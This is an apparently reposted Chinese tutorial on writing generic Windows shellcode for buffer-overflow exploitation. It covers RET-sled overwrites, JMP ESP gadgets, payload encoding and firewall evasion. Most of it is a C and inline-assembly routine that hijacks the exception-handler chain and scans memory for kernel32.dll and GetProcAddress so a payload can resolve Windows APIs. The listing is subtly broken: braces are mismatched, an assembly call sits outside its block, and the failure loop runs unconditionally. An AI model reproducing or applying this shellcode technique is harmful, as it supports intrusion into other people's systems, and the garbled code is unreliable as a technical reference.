WINDOWS的SHELLCODE編寫高級技巧

WINDOWS的SHELLCODE編寫高級技巧

 

作者:yuange (mailto:[email protected])

主頁:http://www.nsfocus.com/

 

    unix等系統因爲有用戶概念,所以往往溢出是使用先得到普通帳號,然後登陸後用溢出

再加載一個SHELL的辦法得到ROOT權限,其系統調用又方便,所以SHELLCODE編寫一般都比

較簡單。但WINDOWS系統往往不提供登陸服務,所以溢出攻擊的SHELLCODE往往要提供SOCKET

連接,要加載程序得到SHELL等,而WINDOWS的系統調用int2e接口又不如unix系統調用int80

規範,所以一般都使用API,而API函數地址又因爲系統版本的不同而不一樣,所以要編寫

WINDOWS下面比較實用、通用點的SHELLCODE比較麻煩。

 

    經過一段時間的思考,得到了WINDOWS下編寫SHELLCODE的比教好的辦法。

    1、溢出點確定。使用溢出點附近覆蓋一片一個RET指令地址的辦法,這樣只要知道溢出

    點大致範圍就可以了。

    2、SHELLCODE定位。使用ESP寄存器定位,只要前面那覆蓋的RET地址後面放一個JMP

    ESP功能的指令地址就可以定位了。

    3、RET指令地址、JMP ESP功能指令地址採用代碼頁裏面的地址,54  C3,或者FF E4

    、C3這個一個語言的WINDOWS地址固定,也很好找這個地址。

 

    4、SHELLCODE直接使用C語言編寫,方便編寫、修改、調試。

 

    5、SHELLCODE統一編碼,滿足應用條件對SHELLCODE字符的限制,用一段小彙編代碼解

    碼,這樣編寫SHELLCODE就可以不用考慮特殊字符了。

    6、通信加密,對付防火牆,實現FTP功能,實現內存直接接管WEB服務等的高級應用。

 

    下面主要介紹介紹編寫通用SHELLCODE的辦法。主要SHELLCODE裏面使用的API自己用

GetProcAddress定位,要使用庫用LoadLibraryA加載。那這樣SHELLCODE就只依靠這兩個

API了。那這兩個API的地址又怎麼解決呢,LoadLibraryA這個API在系統庫KERNEL32.DLL裏

面,也可以使用GetProcAddress得到。那關鍵就是要找到系統庫kernel32.dll和

GetProcAddress的地址了。因爲一般應用程序都會加載kernel32.dll,所以解決辦法就是在

內存裏面找到這個系統庫和API地址,所幸知道了WINDOWS的模塊數據結構也就不難了,主要

是增加異常結構處理 。下面是VC6.0程序代碼:

 

void shellcodefn()

{

   int         *except[3];

   FARPROC     procgetadd=0;

   char        *stradd;

   int         imgbase,fnbase,i,k,l;

   HANDLE      libhandle;

   _asm {

     jmp          nextcall

     getstradd:   pop    stradd

                  lea    EDI,except

            mov    eax,dword ptr FS:[0]

            mov    dword ptr [edi+0x08],eax

            mov    dword ptr FS:[0],EDI

    }

    except[0]=0xffffffff;

    except[1]=stradd-0x07;

/* 保存異常結構鏈和修改異常結構鏈,SHELLCODE接管異常 */

 

    imgbase=0x77e00000;

/* 搜索KERNEL32.DLL 的起始其實地址 */

 

         call getexceptretadd

   }

/* 得到異常後的返回地址 */

   for(;imgbase<0xbffa0000,procgetadd==0;){

       imgbase+=0x10000;

/*  模塊地址是64K爲單位,加快速度*/

       if(imgbase==0x78000000) imgbase=0xbff00000;

/*  如果到這還沒有搜索到,那可能是WIN9X系統 */

       if(*( WORD *)imgbase=='ZM'&& *(WORD *)

       (imgbase+*(int *)(imgbase+0x3c))=='EP'){

/* 模塊結構的模塊頭 */

         fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;

         k=*(int *)(fnbase+0xc)+imgbase;

         if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){

/* 模塊名 */

             libhandle=imgbase;

/* 得到模塊頭地址,就是模塊句柄 */

             k=imgbase+*(int *)(fnbase+0x20);

             for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){

                   if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor'){

/* 引出名 */

                   k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));

                   k+=*(int *)(fnbase+0x10)-1;

                   k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));

                   procgetadd=k+imgbase;

/* API地址 */

                   break;

             }

          }

        }

    }

}

// 搜索KERNEL32。DLL模塊地址和API函數 GetProcAddress地址

// 注意這兒處理了搜索頁面不在情況。

 

   _asm{

       lea edi,except

          mov eax,dword ptr [edi+0x08]

       mov dword ptr fs:[0],eax

   }

/* 恢復異常結構鏈 */

 

 

if(procgetadd==0) goto  die ;

/* 如果沒找到GetProcAddress地址死循環 */

  die: goto die  ;

 

  _asm{

 

getexceptretadd:   pop  eax

             push eax

             mov  edi,dword ptr [stradd]

             mov dword ptr [edi-0x0e],eax

             ret

/* 得到異常後的返回地址,並填寫到異常處理模塊 */

 

/* 異常處理模塊 */

errprogram:         mov eax,dword ptr [esp+0x0c]

             add eax,0xb8

             mov dword ptr [eax],0x11223344 //stradd-0xe

/* 修改異常返回EIP指針 */

             xor eax,eax              //2

/* 不提示異常 */

             ret                  //1

/* 異常處理返回 */

execptprogram:     jmp errprogram              //2 bytes stradd-7

nextcall:          call getstradd              //5 bytes

   }

}

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章